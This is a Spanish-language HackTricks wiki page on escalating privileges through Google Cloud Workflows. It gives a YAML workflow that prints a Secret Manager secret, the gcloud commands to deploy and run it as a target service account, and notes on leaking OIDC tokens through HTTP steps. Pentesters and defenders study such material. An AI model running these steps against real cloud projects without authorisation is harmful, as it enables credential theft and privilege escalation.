GCP - Workflows Privesc

Support HackTricks

Workflows

Información básica:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Hasta donde sé, no es posible obtener un shell con acceso al endpoint de metadatos que contiene las credenciales de la SA atacada a un Workflow. Sin embargo, es posible abusar de los permisos de la SA añadiendo las acciones a realizar dentro del Workflow.

Es posible encontrar la documentación de los conectores. Por ejemplo, esta es la página del conector de Secretmanager. En la barra lateral es posible encontrar varios otros conectores.

Y aquí puedes encontrar un ejemplo de un conector que imprime un secreto:

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

Actualización desde la CLI:

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Si obtienes un error como ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist, simplemente espera un minuto y vuelve a intentarlo.

Si no tienes acceso web, es posible activar y ver la ejecución de un Workflow con:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

También puedes verificar la salida de ejecuciones anteriores para buscar información sensible

Ten en cuenta que incluso si obtienes un error como PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... porque no tienes ese permiso, el flujo de trabajo ha sido generado.

Filtración de token OIDC (¿y OAuth?)

Según la documentación es posible usar pasos de flujo de trabajo que enviarán una solicitud HTTP con el token OAuth o OIDC. Sin embargo, al igual que en el caso de Cloud Scheduler, la solicitud HTTP con el token Oauth debe ser al host .googleapis.com.

Por lo tanto, es posible filtrar el token OIDC indicando un endpoint HTTP controlado por el usuario, pero para filtrar el token OAuth necesitarías un bypass para esa protección. Sin embargo, aún puedes contactar cualquier API de GCP para realizar acciones en nombre del SA utilizando conectores o solicitudes HTTP con el token OAuth.

OAuth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Con este permiso en lugar de workflows.workflows.create, es posible actualizar un flujo de trabajo ya existente y realizar los mismos ataques.

Apoya a HackTricks

Last updated